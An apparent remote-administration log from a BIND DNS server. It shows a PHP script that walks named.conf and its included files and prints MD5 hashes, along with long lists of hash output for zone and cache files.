MD5(/var/cache/bind/9c176806fc238e21c915b63d0649fc22.conf)= befba77b0345213ef42b7d5fff304d70
MD5(/var/cache/bind/9c176806fc238e21c915b63d0649fc22.txt)= 64a0bc30bde19c19f61dce2d34ba9f4d
MD5(/var/cache/bind/1e54f6c33ee3ca2eea403fca319b0ee4.conf)= 57e8151924225ca0e8e775f7c467fc0e
MD5(/var/cache/bind/1e54f6c33ee3ca2eea403fca319b0ee4.txt)= 25d0956113a097d2916fee42bd2d5ce8
MD5(/var/cache/bind/2debffd89b49e0229c33680cd8802ecb.conf)= 4a0086432eb4e2adea559c1ce5927665
MD5(/var/cache/bind/2debffd89b49e0229c33680cd8802ecb.txt)= 5750103aa360655e27676ee5092b77ef
MD5(/var/cache/bind/7be199ed365109a6d40950ee59d1f556.conf)= 1f311b8a6182eeca1501eba415974cdc
MD5(/var/cache/bind/7be199ed365109a6d40950ee59d1f556.txt)= c53c26bd24bdda2d1ee3d779b0ccd0a8
MD5(/var/cache/bind/eebb27648fd2a6fb3ddcc9ab90e7112b.conf)= 603b053e96cc535f2b53b4f94c071b02
MD5(/var/cache/bind/eebb27648fd2a6fb3ddcc9ab90e7112b.txt)= ee53ca31f66425c94bab4f49e8a21876
MD5(/var/cache/bind/1f505a75628761de494a35ab69db20dd.conf)= 97c8d1c1c45d4c3d55a30acba462715e
MD5(/var/cache/bind/1f505a75628761de494a35ab69db20dd.txt)= 6e0a1be9573427f3aecbcd2f457e6ca9
MD5(/var/cache/bind/88c5638dfb94d699fd48b1feb9d60cff.conf)= a5c1273a2ca448bbb92c7203a6f0c24e
MD5(/var/cache/bind/88c5638dfb94d699fd48b1feb9d60cff.txt)= 2657621e2763f175c78568a13a3b4254
MD5(/var/cache/bind/a4eb3fca977ca6015dcdbcabf7d11d48.conf)= f8bf0700dac5c8c4919aecf3da123f92
MD5(/var/cache/bind/a4eb3fca977ca6015dcdbcabf7d11d48.txt)= 2a8dec65e632ef023e1ae1037f9a8eb8
MD5(/var/cache/bind/3c5ac3f042be6256f4781cbc416678be.conf)= 549f08df0180e98c4a822c8ff0213408
MD5(/var/cache/bind/3c5ac3f042be6256f4781cbc416678be.txt)= 9cb7121349a3447b15a4f1444864be56
MD5(/var/cache/bind/c0f3c184d08b11c006e309fb0115bdd6.conf)= 83cee68b971fca76ad57abcf7ea79435
MD5(/var/cache/bind/c0f3c184d08b11c006e309fb0115bdd6.txt)= bfa28a357931b8963fc3db9342c27396
MD5(/var/cache/bind/5228c1dbadd38e40039230194a4f9e79.conf)= ddffa1884914311387168172feda086c
MD5(/var/cache/bind/5228c1dbadd38e40039230194a4f9e79.txt)= ffa7f2c861e2579237365beb35c65328
MD5(/var/cache/bind/a991f2a33195300884cfb80603e68095.conf)= fc499b7bcc4f7bd1d4827357adb45e7d
MD5(/var/cache/bind/a991f2a33195300884cfb80603e68095.txt)= cdfc7d29f0f9da0d7cb4cc1c627d340e
MD5(/var/cache/bind/3c4b5f94d47374f5ce45f7155d4ae5a8.conf)= 6282a18418d86f206e2410aae573926a
MD5(/var/cache/bind/3c4b5f94d47374f5ce45f7155d4ae5a8.txt)= da8d99880c0b4f5d1158902abf4cf39a
MD5(/var/cache/bind/35d18abc44b089ffa23e3e2f0807ece6.conf)= f8bc6a67efbdb504a5f85f3787175120
MD5(/var/cache/bind/35d18abc44b089ffa23e3e2f0807ece6.txt)= ce97f4641bfe8d4826b6d44097672165
MD5(/var/cache/bind/40b78c826a55a9eeca31786e0586fee9.conf)= 9c469d124b973a0c48a7084a48df07ed
MD5(/var/cache/bind/40b78c826a55a9eeca31786e0586fee9.txt)= ebf08621122375f56f22c7d207713b37
MD5(/var/cache/bind/93997bd832de09ba4e56713eaa81d340.conf)= f89894bce93149ef3a0ee72cf3b46a92
MD5(/var/cache/bind/93997bd832de09ba4e56713eaa81d340.txt)= a7ff8245b49d737356e14402ef69e0b4
MD5(/var/cache/bind/320b669d287ba63741ff57cf3e690770.conf)= fff6889b13905b5a22a0a280541beb17
MD5(/var/cache/bind/320b669d287ba63741ff57cf3e690770.txt)= 2557fbb1b0ce22dfcad39f117fb5d836
MD5(/var/cache/bind/11674aee41a9cabe2304d659e10b5dd0.conf)= 6e60a6f4a772f19624e54937eadf00e0
MD5(/var/cache/bind/11674aee41a9cabe2304d659e10b5dd0.txt)= 12ec6f783d6ac3bdd3f9d6921b1ba27a
MD5(/var/cache/bind/0766fc100eec8a6853d7ddbdaedbb9bf.conf)= 4aa3a1169a84c53167ee8dcce6128883
MD5(/var/cache/bind/0766fc100eec8a6853d7ddbdaedbb9bf.txt)= ff229c913624671483309b6b5a233790
MD5(/var/cache/bind/05b92d9466be1ff60f99171b12b904c0.conf)= b35e87166fa75b0eecbabb2958595374
MD5(/var/cache/bind/05b92d9466be1ff60f99171b12b904c0.txt)= 9dbcf27730c478ead28397cbef193659
MD5(/var/cache/bind/d15154fdc73f852a93983b8efa978ccd.conf)= 370ad953107dab595a234500850414cb
MD5(/var/cache/bind/d15154fdc73f852a93983b8efa978ccd.txt)= 1f5511319facf6dd7179e0ee9cac0c65
MD5(/var/cache/bind/ffb28d26a57997ceef6aa88af3ca2eb1.conf)= 41dfde821e6536d01c57049ace3f0fa8
MD5(/var/cache/bind/ffb28d26a57997ceef6aa88af3ca2eb1.txt)= 3b9749b3aa1d39b252fd354cb1d30abc
MD5(/var/cache/bind/c92f7952a5e58a40373c6ea0395bbe60.conf)= aa0c41a8f288d69eeb16567b5e0aec56
MD5(/var/cache/bind/c92f7952a5e58a40373c6ea0395bbe60.txt)= 0cc05ded4f42eaa5e3a66f7466b55045
MD5(/var/cache/bind/69d0916aecf832c706b4d0e9097de457.conf)= 0c12e9548e598ad77eff62d2c68142b2
MD5(/var/cache/bind/69d0916aecf832c706b4d0e9097de457.txt)= 215db2579062c3dd4bf7e5ed22982e75
MD5(/var/cache/bind/9102cebf40552256181ade1b5794bce9.conf)= 9c40952b0c50507ea64d4480409cb2e8
MD5(/var/cache/bind/9102cebf40552256181ade1b5794bce9.txt)= a144f5668b70541e3def64047fe02b6c
MD5(/var/cache/bind/916eb0791d6219f551785c0d0cdb6551.conf)= 51e286d25a9fbd96f007a7084de18dd9
MD5(/var/cache/bind/916eb0791d6219f551785c0d0cdb6551.txt)= 100f002295ca521d3ac0f418694f3c7d
MD5(/var/cache/bind/3d2ec12df06edc90dfcd3e90b9defc61.conf)= 622d9a736c9f30648387448aca7f497d
MD5(/var/cache/bind/3d2ec12df06edc90dfcd3e90b9defc61.txt)= 76a58050470ad602876bce6b4a5fdb65
MD5(/var/cache/bind/4e946d31d5dbbaea14c1f8a8cc65c592.conf)= 980c7a4583fe35da8df0033a57098def
MD5(/var/cache/bind/4e946d31d5dbbaea14c1f8a8cc65c592.txt)= 1c72526f84c81411b499ac602473f56b
MD5(/var/cache/bind/f526c54ffce876cc4878737cf365bd79.conf)= 7a6022b5c53bafd967d3c9873a04bf86
MD5(/var/cache/bind/f526c54ffce876cc4878737cf365bd79.txt)= 0657908fdb73b80608db9fcde03ef46f
MD5(/var/cache/bind/03d5b5f89be357e1588146db824a75a9.conf)= 85a2b7310c5460015abddb6ef0af3a56
MD5(/var/cache/bind/03d5b5f89be357e1588146db824a75a9.txt)= 558dea320db1d773932c92910d1dbdd0
MD5(/var/cache/bind/97b02af5a57f21e16869add9e7536c63.conf)= 81f4dbaa2ef4e9abd0e967b4ad2586b2
MD5(/var/cache/bind/97b02af5a57f21e16869add9e7536c63.txt)= 7174b344b0ae3fb0d1e887f7b7a8cca1
MD5(/var/cache/bind/9ab47e96627d9522a0b8df2ee4322802.conf)= 7a7a30e25dd61c59d71673818fb4b731
MD5(/var/cache/bind/9ab47e96627d9522a0b8df2ee4322802.txt)= 4ef4e881b38eacff7ef2cb121ee2a31d
MD5(/var/cache/bind/a1c902386bae85264c8bcd7d46d289a9.conf)= 4475af152483db05440ac1bdb9e91ed8
MD5(/var/cache/bind/a1c902386bae85264c8bcd7d46d289a9.txt)= d8822ffb89db1df7c92e5994559a29f1
MD5(/var/cache/bind/1f055662da24bcf52398528dbf5a1c4f.conf)= 5f673bc37590247b80c11d0349e7039b
MD5(/var/cache/bind/1f055662da24bcf52398528dbf5a1c4f.txt)= f74085c0552a3fba6622491abdbfce06
MD5(/var/cache/bind/b77f3ffec345cac4b4296eed63420be1.conf)= ece349c6e4fb427405bbce5b5501fec7
MD5(/var/cache/bind/b77f3ffec345cac4b4296eed63420be1.txt)= 66b17acb39553d9ae5c46141fa7072cc
MD5(/var/cache/bind/7312c9cb95b4bacf912d8bac1ea438cc.conf)= 34f0d361e4a9e09f563e1b9ebb2d21db
MD5(/var/cache/bind/7312c9cb95b4bacf912d8bac1ea438cc.txt)= 2a324e4d3ddfd35539af500663112679
MD5(/var/cache/bind/6e7fd231117136482801b6740f7def61.conf)= 9896db403abe67fa779eafab3fb9c466
MD5(/var/cache/bind/6e7fd231117136482801b6740f7def61.txt)= ccc02fdb93c8840b3a79ed79d7b7ae56
MD5(/var/cache/bind/ee1ed0202e3c22ccb5dc6bbfc4c176ac.conf)= 5160486015bcb3611cd44fe96a0507f2
MD5(/var/cache/bind/ee1ed0202e3c22ccb5dc6bbfc4c176ac.txt)= 5aef34597b77b644cec7fbe4d804cae9
MD5(/var/cache/bind/82e710fb4c28419815112803356c4f79.conf)= fd0457a783720d5adbc63330db4ba29c
MD5(/var/cache/bind/82e710fb4c28419815112803356c4f79.txt)= 876777712e30357d4624f45b89f90d25
MD5(/var/cache/bind/d365b77ad7e9376e619973b277c11515.conf)= d22edaa21f398273183ddd5015d8a697
MD5(/var/cache/bind/d365b77ad7e9376e619973b277c11515.txt)= af7980c0c505a2cb9c80a6dcd33fb37d
MD5(/var/cache/bind/b579aafafbcd32ebd30996c14e2929d0.conf)= 0bb3baf9e79ad18c078b64857c5c4fef
MD5(/var/cache/bind/b579aafafbcd32ebd30996c14e2929d0.txt)= 4f2a6ba7f3a1f349813677dc835b72e3
MD5(/var/cache/bind/e0dc27e9ac6120dd4b9b149abf3e317e.conf)= 66ef6c188fde86c68238df5f0f8b1c63
MD5(/var/cache/bind/e0dc27e9ac6120dd4b9b149abf3e317e.txt)= 78845a52d60704d9f479a146f3151909
MD5(/var/cache/bind/210d2f210e4452e9446e4b9a5969250a.conf)= f58481f984dabea5d5aecf889dafd909
MD5(/var/cache/bind/210d2f210e4452e9446e4b9a5969250a.txt)= 21e91dfd8a70957d62dfd3f65c252eaf
MD5(/var/cache/bind/f9446b138d2c5ba2c536837db166189d.conf)= 41de67f9c6ff20a481de2604a5cc468c
MD5(/var/cache/bind/f9446b138d2c5ba2c536837db166189d.txt)= 3de8aa47e4be97fb0088cbc5bd4e5d00
MD5(/var/cache/bind/39a853d14cf222b11389743f34305dc2.conf)= be458f7ab43d9f713dcd9551784820da
MD5(/var/cache/bind/39a853d14cf222b11389743f34305dc2.txt)= fd0a8c652b27589f5908fcf7f1e9f6e0
MD5(/var/cache/bind/28a5e75a7da01b086708dce3eb004d3c.conf)= 9809fac7437d3482422b2fcdb2aae89f
MD5(/var/cache/bind/28a5e75a7da01b086708dce3eb004d3c.txt)= eaf427f91784f271895869ca9c1c31ab
MD5(/var/cache/bind/73c7599fdd5ae53f1a22acdec3f96f94.conf)= 97e7b02dd275ffcd326cf55868836a13
MD5(/var/cache/bind/73c7599fdd5ae53f1a22acdec3f96f94.txt)= 40b7175d2b62682e5c5caf5b86494e7c
MD5(/var/cache/bind/6cba0a95209be6ac4156e85379be0bd6.conf)= f523d5f69970191d187717079c3462cf
MD5(/var/cache/bind/6cba0a95209be6ac4156e85379be0bd6.txt)= 07d2f0972f7571a5c93312f943645728
MD5(/var/cache/bind/954ebedf55cc0740293342780846a6cd.conf)= 6640cf357a97668fe84a5e7953c321a0
MD5(/var/cache/bind/954ebedf55cc0740293342780846a6cd.txt)= 5e87428bc4cd6d266c7a77bc507057f8
MD5(/var/cache/bind/3d53240606bf6359dd62d3ebf20afc18.conf)= fa27de2710b5a788f7b06af0b88b058e
MD5(/var/cache/bind/3d53240606bf6359dd62d3ebf20afc18.txt)= fd137abd12b564c60a25d7c8ee1677ee
MD5(/etc/bind/named.conf.default-zones)= 9fbdc4657090b3b2a45f7e7b8468cf96
MD5(/usr/share/dns/root.hints)= 256a3e44f5821c498cf777dd118944a6
MD5(/etc/bind/db.local)= e5d27ead2d238928a08d33c7a7333477
MD5(/etc/bind/db.127)= 64f5cf50e8d8192109dad43b779e5e36
MD5(/etc/bind/db.0)= 43e4adb661f18a102a9c2ad1e192e825
MD5(/etc/bind/db.255)= 8aba258068c8c60a7ade3952a285f57d


2026-04-20 10:20:18: Establishing a connection
2026-04-20 10:20:28: Establishing a connection
2026-04-20 10:20:28: 

PUT: /tmp/pkp675779

#!/usr/bin/php
<?php

// What files are being used by Bind, and what are their contents?
//   php's token_get_all() makes this fairly quick

	$directory = '/etc/bind';
	ob_start('ob_gzhandler');
	parseFile('named.conf');
	ob_end_flush();

function parseFile($filename, $parse = TRUE) {
	global $directory;
	if ($filename[0] != '/') $filename = realpath($directory . '/./' . $filename);
	$hash = md5_file($filename);
	echo "MD5({$filename})= {$hash}\n";

	if ($parse) {
		$content = "<?php\n" . file_get_contents($filename);
		$tokens = token_get_all($content);
		$i = 0;
		parseGroup($tokens, $i);
	}
}

function unQuote($value) {
	$ch = $value[0];
	if ($ch == '"' || $ch == "'") {
		if (substr($value, -1) == $ch) {
			$value = substr($value, 1, -1);
		}
	}
	return $value;
}

function addEntry(&$current) {
	global $directory;
	if (count($current)) {
		switch($current[0]) {
			case 'include':
				$filename = unQuote($current[1]);
				parseFile($filename);
				break;
			case 'directory':
				$directory = unQuote($current[1]);
				break;
			case 'file':
				$filename = unQuote($current[1]);
				parseFile($filename, FALSE);		// Resource File - do not parse
				break;
		}
	}
	$current = [];
}

function ParseGroup($tokens, &$i) {
	$current = [];
	$c = count($tokens);
	while ($i < $c) {
		$token = $tokens[$i];
		if (is_array($token)) {
			$token_name = $token[0];
			$token_data = $token[1];	// [2] = line number
		} else {
			$token_name = -1;
			$token_data = $token;
		}
		switch ($token_name) {
			case -1:
				if ($token_data == ';') {			// end of statement
					$i++;
					addEntry($current);
				} elseif ($token_data == '{') {		// group
					$i++;
					ParseGroup($tokens, $i);
				} elseif ($token_data == '}') {		// end of group
					addEntry($current);
					return;
				}
			case T_OPEN_TAG:
			case T_WHITESPACE:
			case T_COMMENT:
				break;
			case T_DNUMBER:		// 127.0 / .0 / .1
			case T_LNUMBER:
			case T_CONSTANT_ENCAPSED_STRING:
			case T_STRING:
			case T_INCLUDE:
				$current[] = $token_data;
				break;
		}
		$i++;
	}
	addEntry($current);
}

2026-04-20 10:20:28: 

runuser -l bind -s /bin/bash -c '/tmp/pkp675779; rm /tmp/pkp675779'

2026-04-20 10:20:29: 


MD5(/etc/bind/named.conf)= 6df494defbd381f8bc9d76ff6611ba09
MD5(/etc/bind/named.conf.options)= 35371f62b8a2d54eb399121839293544
MD5(/etc/bind/named.conf.local)= 0ef694a7641428c526ed26173b33ce38
MD5(/var/cache/bind/0299c0c61c7ba070834ba2dd758c9c51.conf)= 0fd08353130bb23e9ce3de6623e547cd
MD5(/var/cache/bind/0299c0c61c7ba070834ba2dd758c9c51.txt)= 03d4462705df3e3b3447b5e03d69e033
MD5(/var/cache/bind/25162dac9ffbcb0be59287b7a9bde7f4.conf)= f3bc075b289ef11a7e7fb9730ce45981
MD5(/var/cache/bind/25162dac9ffbcb0be59287b7a9bde7f4.txt)= db46afa1eaf0998e2096010ff5922625
MD5(/var/cache/bind/b74ce055b83f6cfebe00ab1c0c5d2af2.conf)= e18fb42db1994e58907bc0f5f1bbb842
MD5(/var/cache/bind/b74ce055b83f6cfebe00ab1c0c5d2af2.txt)= 52e1ab6ca1b295d6e228011efc7c3e36
MD5(/var/cache/bind/54524ffc708f1919654eee3e8e8e8adb.conf)= 229439ac891c563fbf452cfb5b8d8082
MD5(/var/cache/bind/54524ffc708f1919654eee3e8e8e8adb.txt)= 46011b4de1a60b584e110c9275cf58d9
MD5(/var/cache/bind/265e805c99c946847c9512ae0a2f1979.conf)= c7d0f7caaf6c7c9b22c53150d660da6d
MD5(/var/cache/bind/265e805c99c946847c9512ae0a2f1979.txt)= 05cb0d9a8acaeec415f02a2878e47e99
MD5(/var/cache/bind/94cdb93348589672ae2f4f7d5cf38aba.conf)= 92f5ac0b53170f78cd90b11433e00c90
MD5(/var/cache/bind/94cdb93348589672ae2f4f7d5cf38aba.txt)= b18383b98052efd1f1c0c13416f7da2a
MD5(/var/cache/bind/695c92f1e52b32224b4afd59cf37d6f1.conf)= cf96c96f1d1461ee0e72fa2288f69183
MD5(/var/cache/bind/695c92f1e52b32224b4afd59cf37d6f1.txt)= 41be792e22df23608316bdc6d5c02ebb
MD5(/var/cache/bind/a9ce89f9cbbf500822cbde90492a4b59.conf)= e25d9cd35ad127e670a08c38380f80dd
MD5(/var/cache/bind/a9ce89f9cbbf500822cbde90492a4b59.txt)= 8978877eb7bb428bb9b1624fd66866df
MD5(/var/cache/bind/1a70a64890644d614d006709f4d07011.conf)= 78daa950362f6df7200d4f288d8fcc24
MD5(/var/cache/bind/1a70a64890644d614d006709f4d07011.txt)= 2beac4b9c680af375d0427d0ec122336
MD5(/var/cache/bind/76868f6e068adf5f82f053b795932883.conf)= c08670467eff145eb677c7be4fedd002
MD5(/var/cache/bind/76868f6e068adf5f82f053b795932883.txt)= 292b467eca3f6f3e89b5906332d932ee
MD5(/var/cache/bind/b64ede8e027cbe0b900c74b7dad61fc6.conf)= 4fc4049398e3e9ef0d00161bec61b8a9
MD5(/var/cache/bind/b64ede8e027cbe0b900c74b7dad61fc6.txt)= e373146ad3409ae00911c19a196aba0c
MD5(/var/cache/bind/a6604325e1e95bb658a4876ded716488.conf)= 5738a9fc0adb6f630b2fd1631f76ebc3
MD5(/var/cache/bind/a6604325e1e95bb658a4876ded716488.txt)= b7fd8090ad0c758abe1b81ce7342fe27
MD5(/var/cache/bind/c23c0a067c65fe695faa3f188e27944c.conf)= a7b88255b74138f72d534f4bd4a55f78
MD5(/var/cache/bind/c23c0a067c65fe695faa3f188e27944c.txt)= 4c65be2cf42d7b01dff25648a30e0d60
MD5(/var/cache/bind/0a6ad15e551aafb493c6806effeddcf2.conf)= 6ee0aac8bac1e71e0fc3ba188fbd759d
MD5(/var/cache/bind/0a6ad15e551aafb493c6806effeddcf2.txt)= 55b92b69ce255778373fb680dec3d692
MD5(/var/cache/bind/7695e2001b9158b46e53b17c49af86b5.conf)= d22959f1a2d9d7cb2536df3503919289
MD5(/var/cache/bind/7695e2001b9158b46e53b17c49af86b5.txt)= c85eeca80d19efbde6476aaa5e378f89
MD5(/var/cache/bind/063b25bf16976ce1a2c836785c63433d.conf)= 92a9f7b58f0a8f65037161a776a507b8
MD5(/var/cache/bind/063b25bf16976ce1a2c836785c63433d.txt)= 3350c32974ffbafe079a7b2e988461c6
MD5(/var/cache/bind/e3a645e9cd9a48a14dd8493b70d9eeb7.conf)= a96b4420934b504593fd2f5230424614
MD5(/var/cache/bind/e3a645e9cd9a48a14dd8493b70d9eeb7.txt)= d2257a98a9302b66c20561308c19fdcf
MD5(/var/cache/bind/62fb2e372bc0a32115fbc83c762f20b5.conf)= 6eb5284adbf5d232feb60f6e1ab6df01
MD5(/var/cache/bind/62fb2e372bc0a32115fbc83c762f20b5.txt)= c6b705f7647f89b3a921503db37fea1e
MD5(/var/cache/bind/9b1deba5ba095e87244f37a8e3f127c3.conf)= b0e44b79d08ff8aa48029941ec628f8a
MD5(/var/cache/bind/9b1deba5ba095e87244f37a8e3f127c3.txt)= a264743f8f159ddddb0eaa504acd179f
MD5(/var/cache/bind/32d4fd93b17a2291b23647ec24f8da21.conf)= 6c13dfa5be1a030d5ad674727b3a6ca7
MD5(/var/cache/bind/32d4fd93b17a2291b23647ec24f8da21.txt)= 8c06d62e3637a8428b0366618cf3abd7
MD5(/var/cache/bind/de5342f930e16cce802d35118a2fa8d3.conf)= 69ba71a6df7b67c48ee48d439825b9b8
MD5(/var/cache/bind/de5342f930e16cce802d35118a2fa8d3.txt)= 87d8872c527a1698c0cbfdfec95dfb04
MD5(/var/cache/bind/6f67b388e6765da580018fda67333d25.conf)= 015688087db895d82fc3eb3b9e11c692
MD5(/var/cache/bind/6f67b388e6765da580018fda67333d25.txt)= d1e1050a45218d8a317ce20cd873bddd
MD5(/var/cache/bind/9c176806fc238e21c915b63d0649fc22.conf)= befba77b0345213ef42b7d5fff304d70
MD5(/var/cache/bind/9c176806fc238e21c915b63d0649fc22.txt)= 64a0bc30bde19c19f61dce2d34ba9f4d
MD5(/var/cache/bind/1e54f6c33ee3ca2eea403fca319b0ee4.conf)= 57e8151924225ca0e8e775f7c467fc0e
MD5(/var/cache/bind/1e54f6c33ee3ca2eea403fca319b0ee4.txt)= 25d0956113a097d2916fee42bd2d5ce8
MD5(/var/cache/bind/2debffd89b49e0229c33680cd8802ecb.conf)= 4a0086432eb4e2adea559c1ce5927665
MD5(/var/cache/bind/2debffd89b49e0229c33680cd8802ecb.txt)= 5750103aa360655e27676ee5092b77ef
MD5(/var/cache/bind/7be199ed365109a6d40950ee59d1f556.conf)= 1f311b8a6182eeca1501eba415974cdc
MD5(/var/cache/bind/7be199ed365109a6d40950ee59d1f556.txt)= c53c26bd24bdda2d1ee3d779b0ccd0a8
MD5(/var/cache/bind/eebb27648fd2a6fb3ddcc9ab90e7112b.conf)= 603b053e96cc535f2b53b4f94c071b02
MD5(/var/cache/bind/eebb27648fd2a6fb3ddcc9ab90e7112b.txt)= ee53ca31f66425c94bab4f49e8a21876
MD5(/var/cache/bind/1f505a75628761de494a35ab69db20dd.conf)= 97c8d1c1c45d4c3d55a30acba462715e
MD5(/var/cache/bind/1f505a75628761de494a35ab69db20dd.txt)= 6e0a1be9573427f3aecbcd2f457e6ca9
MD5(/var/cache/bind/88c5638dfb94d699fd48b1feb9d60cff.conf)= a5c1273a2ca448bbb92c7203a6f0c24e
MD5(/var/cache/bind/88c5638dfb94d699fd48b1feb9d60cff.txt)= 2657621e2763f175c78568a13a3b4254
MD5(/var/cache/bind/a4eb3fca977ca6015dcdbcabf7d11d48.conf)= f8bf0700dac5c8c4919aecf3da123f92
MD5(/var/cache/bind/a4eb3fca977ca6015dcdbcabf7d11d48.txt)= 2a8dec65e632ef023e1ae1037f9a8eb8
MD5(/var/cache/bind/3c5ac3f042be6256f4781cbc416678be.conf)= 549f08df0180e98c4a822c8ff0213408
MD5(/var/cache/bind/3c5ac3f042be6256f4781cbc416678be.txt)= 9cb7121349a3447b15a4f1444864be56
MD5(/var/cache/bind/c0f3c184d08b11c006e309fb0115bdd6.conf)= 83cee68b971fca76ad57abcf7ea79435
MD5(/var/cache/bind/c0f3c184d08b11c006e309fb0115bdd6.txt)= bfa28a357931b8963fc3db9342c27396
MD5(/var/cache/bind/5228c1dbadd38e40039230194a4f9e79.conf)= ddffa1884914311387168172feda086c
MD5(/var/cache/bind/5228c1dbadd38e40039230194a4f9e79.txt)= ffa7f2c861e2579237365beb35c65328
MD5(/var/cache/bind/a991f2a33195300884cfb80603e68095.conf)= fc499b7bcc4f7bd1d4827357adb45e7d
MD5(/var/cache/bind/a991f2a33195300884cfb80603e68095.txt)= cdfc7d29f0f9da0d7cb4cc1c627d340e
MD5(/var/cache/bind/3c4b5f94d47374f5ce45f7155d4ae5a8.conf)= 6282a18418d86f206e2410aae573926a
MD5(/var/cache/bind/3c4b5f94d47374f5ce45f7155d4ae5a8.txt)= da8d99880c0b4f5d1158902abf4cf39a
MD5(/var/cache/bind/35d18abc44b089ffa23e3e2f0807ece6.conf)= f8bc6a67efbdb504a5f85f3787175120
MD5(/var/cache/bind/35d18abc44b089ffa23e3e2f0807ece6.txt)= ce97f4641bfe8d4826b6d44097672165
MD5(/var/cache/bind/40b78c826a55a9eeca31786e0586fee9.conf)= 9c469d124b973a0c48a7084a48df07ed
MD5(/var/cache/bind/40b78c826a55a9eeca31786e0586fee9.txt)= ebf08621122375f56f22c7d207713b37
MD5(/var/cache/bind/93997bd832de09ba4e56713eaa81d340.conf)= f89894bce93149ef3a0ee72cf3b46a92
MD5(/var/cache/bind/93997bd832de09ba4e56713eaa81d340.txt)= a7ff8245b49d737356e14402ef69e0b4
MD5(/var/cache/bind/320b669d287ba63741ff57cf3e690770.conf)= fff6889b13905b5a22a0a280541beb17
MD5(/var/cache/bind/320b669d287ba63741ff57cf3e690770.txt)= 2557fbb1b0ce22dfcad39f117fb5d836
MD5(/var/cache/bind/11674aee41a9cabe2304d659e10b5dd0.conf)= 6e60a6f4a772f19624e54937eadf00e0
MD5(/var/cache/bind/11674aee41a9cabe2304d659e10b5dd0.txt)= 12ec6f783d6ac3bdd3f9d6921b1ba27a
MD5(/var/cache/bind/0766fc100eec8a6853d7ddbdaedbb9bf.conf)= 4aa3a1169a84c53167ee8dcce6128883
MD5(/var/cache/bind/0766fc100eec8a6853d7ddbdaedbb9bf.txt)= ff229c913624671483309b6b5a233790
MD5(/var/cache/bind/05b92d9466be1ff60f99171b12b904c0.conf)= b35e87166fa75b0eecbabb2958595374
MD5(/var/cache/bind/05b92d9466be1ff60f99171b12b904c0.txt)= 9dbcf27730c478ead28397cbef193659
MD5(/var/cache/bind/d15154fdc73f852a93983b8efa978ccd.conf)= 370ad953107dab595a234500850414cb
MD5(/var/cache/bind/d15154fdc73f852a93983b8efa978ccd.txt)= 1f5511319facf6dd7179e0ee9cac0c65
MD5(/var/cache/bind/ffb28d26a57997ceef6aa88af3ca2eb1.conf)= 41dfde821e6536d01c57049ace3f0fa8
MD5(/var/cache/bind/ffb28d26a57997ceef6aa88af3ca2eb1.txt)= 3b9749b3aa1d39b252fd354cb1d30abc
MD5(/var/cache/bind/c92f7952a5e58a40373c6ea0395bbe60.conf)= aa0c41a8f288d69eeb16567b5e0aec56
MD5(/var/cache/bind/c92f7952a5e58a40373c6ea0395bbe60.txt)= 0cc05ded4f42eaa5e3a66f7466b55045
MD5(/var/cache/bind/69d0916aecf832c706b4d0e9097de457.conf)= 0c12e9548e598ad77eff62d2c68142b2
MD5(/var/cache/bind/69d0916aecf832c706b4d0e9097de457.txt)= 215db2579062c3dd4bf7e5ed22982e75
MD5(/var/cache/bind/9102cebf40552256181ade1b5794bce9.conf)= 9c40952b0c50507ea64d4480409cb2e8
MD5(/var/cache/bind/9102cebf40552256181ade1b5794bce9.txt)= a144f5668b70541e3def64047fe02b6c
MD5(/var/cache/bind/916eb0791d6219f551785c0d0cdb6551.conf)= 51e286d25a9fbd96f007a7084de18dd9
MD5(/var/cache/bind/916eb0791d6219f551785c0d0cdb6551.txt)= 100f002295ca521d3ac0f418694f3c7d
MD5(/var/cache/bind/3d2ec12df06edc90dfcd3e90b9defc61.conf)= 622d9a736c9f30648387448aca7f497d
MD5(/var/cache/bind/3d2ec12df06edc90dfcd3e90b9defc61.txt)= 76a58050470ad602876bce6b4a5fdb65
MD5(/var/cache/bind/4e946d31d5dbbaea14c1f8a8cc65c592.conf)= 980c7a4583fe35da8df0033a57098def
MD5(/var/cache/bind/4e946d31d5dbbaea14c1f8a8cc65c592.txt)= 1c72526f84c81411b499ac602473f56b
MD5(/var/cache/bind/f526c54ffce876cc4878737cf365bd79.conf)= 7a6022b5c53bafd967d3c9873a04bf86
MD5(/var/cache/bind/f526c54ffce876cc4878737cf365bd79.txt)= 0657908fdb73b80608db9fcde03ef46f
MD5(/var/cache/bind/03d5b5f89be357e1588146db824a75a9.conf)= 85a2b7310c5460015abddb6ef0af3a56
MD5(/var/cache/bind/03d5b5f89be357e1588146db824a75a9.txt)= 558dea320db1d773932c92910d1dbdd0
MD5(/var/cache/bind/97b02af5a57f21e16869add9e7536c63.conf)= 81f4dbaa2ef4e9abd0e967b4ad2586b2
MD5(/var/cache/bind/97b02af5a57f21e16869add9e7536c63.txt)= 7174b344b0ae3fb0d1e887f7b7a8cca1
MD5(/var/cache/bind/9ab47e96627d9522a0b8df2ee4322802.conf)= 7a7a30e25dd61c59d71673818fb4b731
MD5(/var/cache/bind/9ab47e96627d9522a0b8df2ee4322802.txt)= 4ef4e881b38eacff7ef2cb121ee2a31d
MD5(/var/cache/bind/a1c902386bae85264c8bcd7d46d289a9.conf)= 4475af152483db05440ac1bdb9e91ed8
MD5(/var/cache/bind/a1c902386bae85264c8bcd7d46d289a9.txt)= d8822ffb89db1df7c92e5994559a29f1
MD5(/var/cache/bind/1f055662da24bcf52398528dbf5a1c4f.conf)= 5f673bc37590247b80c11d0349e7039b
MD5(/var/cache/bind/1f055662da24bcf52398528dbf5a1c4f.txt)= f74085c0552a3fba6622491abdbfce06
MD5(/var/cache/bind/b77f3ffec345cac4b4296eed63420be1.conf)= ece349c6e4fb427405bbce5b5501fec7
MD5(/var/cache/bind/b77f3ffec345cac4b4296eed63420be1.txt)= 66b17acb39553d9ae5c46141fa7072cc
MD5(/var/cache/bind/7312c9cb95b4bacf912d8bac1ea438cc.conf)= 34f0d361e4a9e09f563e1b9ebb2d21db
MD5(/var/cache/bind/7312c9cb95b4bacf912d8bac1ea438cc.txt)= 2a324e4d3ddfd35539af500663112679
MD5(/var/cache/bind/6e7fd231117136482801b6740f7def61.conf)= 9896db403abe67fa779eafab3fb9c466
MD5(/var/cache/bind/6e7fd231117136482801b6740f7def61.txt)= ccc02fdb93c8840b3a79ed79d7b7ae56
MD5(/var/cache/bind/ee1ed0202e3c22ccb5dc6bbfc4c176ac.conf)= 5160486015bcb3611cd44fe96a0507f2
MD5(/var/cache/bind/ee1ed0202e3c22ccb5dc6bbfc4c176ac.txt)= 5aef34597b77b644cec7fbe4d804cae9
